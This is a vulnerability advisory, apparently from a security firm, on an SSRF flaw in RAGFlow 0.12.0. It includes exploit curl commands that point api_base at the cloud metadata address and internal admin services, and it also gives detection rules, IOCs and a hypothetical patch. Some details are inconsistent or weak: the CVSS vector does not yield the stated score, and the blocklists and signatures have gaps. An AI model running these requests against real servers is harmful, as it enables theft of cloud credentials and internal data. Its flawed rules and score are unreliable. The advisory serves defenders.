CVE-2024-12779

Executive Summary

CVE-2024-12779 is a Server-Side Request Forgery (SSRF) vulnerability in Infiniflow RAGFlow version 0.12.0. The flaw resides in the POST /v1/llm/add_llm and POST /v1/conversation/tts endpoints. An attacker can supply an arbitrary URL as the api_base parameter when adding an OPENAITTS model, and then invoke the TTS endpoint to force the server to make requests to internal or external resources. This allows unauthorized access to internal web services, cloud metadata endpoints, or other sensitive systems behind the firewall. The vulnerability has a CVSS score of 6.5 (Medium) and currently has no known patch.

Supply Chain & Package Security

RAGFlow is a Python-based open-source Retrieval-Augmented Generation (RAG) platform. The vulnerability is introduced through the application’s own API logic, not through a third-party package. However, the use of the requests library to fetch arbitrary URLs without proper validation is the root cause. No known malicious packages are associated with this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (limited read access to internal resources)
• Integrity Impact: None
• Availability Impact: None

The threat level is Medium due to the low complexity and no required authentication, but the impact is limited to read access of internal resources.

Deep Dive & Mechanics

The vulnerability is a classic SSRF. The POST /v1/llm/add_llm endpoint accepts a JSON payload to configure a new LLM provider. For the OPENAITTS model type, the api_base field is used to specify the base URL for the TTS API. This URL is not validated or sanitized. When the POST /v1/conversation/tts endpoint is subsequently called, the server uses the attacker-supplied api_base to make an HTTP request. By setting api_base to an internal IP (e.g., http://169.254.169.254/ for cloud metadata), the attacker can read sensitive data.

Attack Flow:

1. Attacker sends a POST request to /v1/llm/add_llm with a JSON body containing "model_type": "OPENAITTS" and "api_base": "http://internal-service:8080/".
2. The server stores this configuration.
3. Attacker sends a POST request to /v1/conversation/tts with a payload that triggers the TTS functionality.
4. The server makes an HTTP GET request to the attacker-controlled api_base URL.
5. The response from the internal service is returned to the attacker (or reflected in the TTS output).

Vulnerable vs. Patched Code

Vulnerable Code (RAGFlow 0.12.0):

# In llm_service.py or similar
def add_llm(model_type, api_base, ...):
    # No validation of api_base
    llm_config = {"model_type": model_type, "api_base": api_base}
    save_config(llm_config)

# In tts_service.py
def text_to_speech(text, model_id):
    config = get_llm_config(model_id)
    api_base = config["api_base"]
    response = requests.get(f"{api_base}/v1/audio/speech", params={"text": text})
    return response.content

Patched Code (Hypothetical):

import re
from urllib.parse import urlparse

def is_safe_url(url):
    parsed = urlparse(url)
    # Block private IPs, loopback, and cloud metadata
    blocked_hosts = [
        "169.254.169.254",
        "127.0.0.1",
        "localhost",
        "10.",
        "172.16.",
        "192.168.",
    ]
    host = parsed.hostname
    if host and any(host.startswith(prefix) for prefix in blocked_hosts):
        return False
    # Allow only HTTPS
    if parsed.scheme != "https":
        return False
    return True

def add_llm(model_type, api_base, ...):
    if not is_safe_url(api_base):
        raise ValueError("Invalid api_base URL")
    # ... rest of code

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a RAGFlow instance (version 0.12.0) with the API exposed.
• No authentication required for the vulnerable endpoints.

Exploit Steps:

1. Add a malicious LLM:

   curl -X POST http://target:9380/v1/llm/add_llm \
     -H "Content-Type: application/json" \
     -d '{
       "model_type": "OPENAITTS",
       "api_base": "http://169.254.169.254/latest/meta-data/",
       "model_name": "evil-tts"
     }'
   

2. Trigger TTS to read internal resource:

   curl -X POST http://target:9380/v1/conversation/tts \
     -H "Content-Type: application/json" \
     -d '{
       "model_id": "evil-tts",
       "text": "test"
     }'
   

3. The response will contain the AWS metadata (or other internal resource) in the audio stream or error message.

Alternative: Read internal web services:

curl -X POST http://target:9380/v1/llm/add_llm \
  -H "Content-Type: application/json" \
  -d '{
    "model_type": "OPENAITTS",
    "api_base": "http://internal-admin:8080/admin/secret",
    "model_name": "internal-read"
  }'

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for POST /v1/llm/add_llm with model_type set to OPENAITTS and api_base containing internal IPs or unusual domains.
• Monitor outbound HTTP requests from the RAGFlow server to unexpected destinations (e.g., cloud metadata IPs, private ranges).
• Alert on any POST /v1/conversation/tts requests that follow a suspicious add_llm call.

Hardening:

• Implement strict URL validation on api_base (allowlist of known, trusted LLM providers).
• Use a network firewall to block outbound traffic to private IP ranges from the RAGFlow server.
• Apply the principle of least privilege: the RAGFlow service should not have network access to internal resources.
• If possible, disable the OPENAITTS model type or require authentication for API endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to 169.254.169.254, 127.0.0.1, or private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x).
  • API requests to /v1/llm/add_llm with model_type = OPENAITTS and api_base containing suspicious URLs.
  • Unusual User-Agent strings in outbound requests (default Python requests library).

• File IOCs:

  • Log entries in RAGFlow logs showing api_base values with internal IPs.
  • Configuration files containing malicious api_base entries.

• Behavioral IOCs:

  • Multiple rapid add_llm and tts requests from the same source IP.
  • TTS responses containing unexpected data (e.g., JSON, HTML, or cloud metadata).

Detection Engineering

YARA Rule

rule CVE_2024_12779_SSRF_RAGFlow {
    meta:
        description = "Detects SSRF exploitation attempts against RAGFlow CVE-2024-12779"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12779"
    strings:
        $s1 = "OPENAITTS" ascii wide nocase
        $s2 = "api_base" ascii wide nocase
        $s3 = "169.254.169.254" ascii wide
        $s4 = "127.0.0.1" ascii wide
        $s5 = "192.168." ascii wide
        $s6 = "10." ascii wide
        $s7 = "172.16." ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: CVE-2024-12779 RAGFlow SSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against RAGFlow by monitoring for suspicious api_base values in add_llm requests.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12779
logsource:
    category: webserver
    product: nginx
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/llm/add_llm'
        cs-uri-query|contains: 'api_base'
    keywords:
        - '169.254.169.254'
        - '127.0.0.1'
        - '192.168.'
        - '10.'
        - '172.16.'
    condition: selection and keywords
falsepositives:
    - Legitimate use of internal LLM providers (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12779 RAGFlow SSRF Outbound to Internal IP";
    flow:to_server;
    content:"POST"; http_method;
    content:"/v1/llm/add_llm"; http_uri;
    content:"api_base"; http_client_body;
    pcre:"/(169\.254\.169\.254|127\.0\.0\.1|192\.168\.|10\.|172\.16\.)/Ri";
    sid:10000001;
    rev:1;
    reference:cve,2024-12779;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoints if not required: Block POST /v1/llm/add_llm and POST /v1/conversation/tts at the reverse proxy or firewall.
2. Restrict outbound traffic from the RAGFlow server to only known, trusted LLM provider IPs.
3. Implement input validation on the api_base field: Reject any URL pointing to private IP ranges, loopback, or cloud metadata endpoints.

Long-term Fix:

• Apply a patch from Infiniflow when available (currently UNKNOWN).
• Upgrade to a version where the api_base is validated against an allowlist.
• Consider using a dedicated, hardened LLM proxy that sanitizes URLs.

Workaround:

• If the TTS feature is not critical, remove the OPENAITTS model type from the codebase.
• Use a Web Application Firewall (WAF) to block requests containing internal IP patterns in the request body.

Valters IT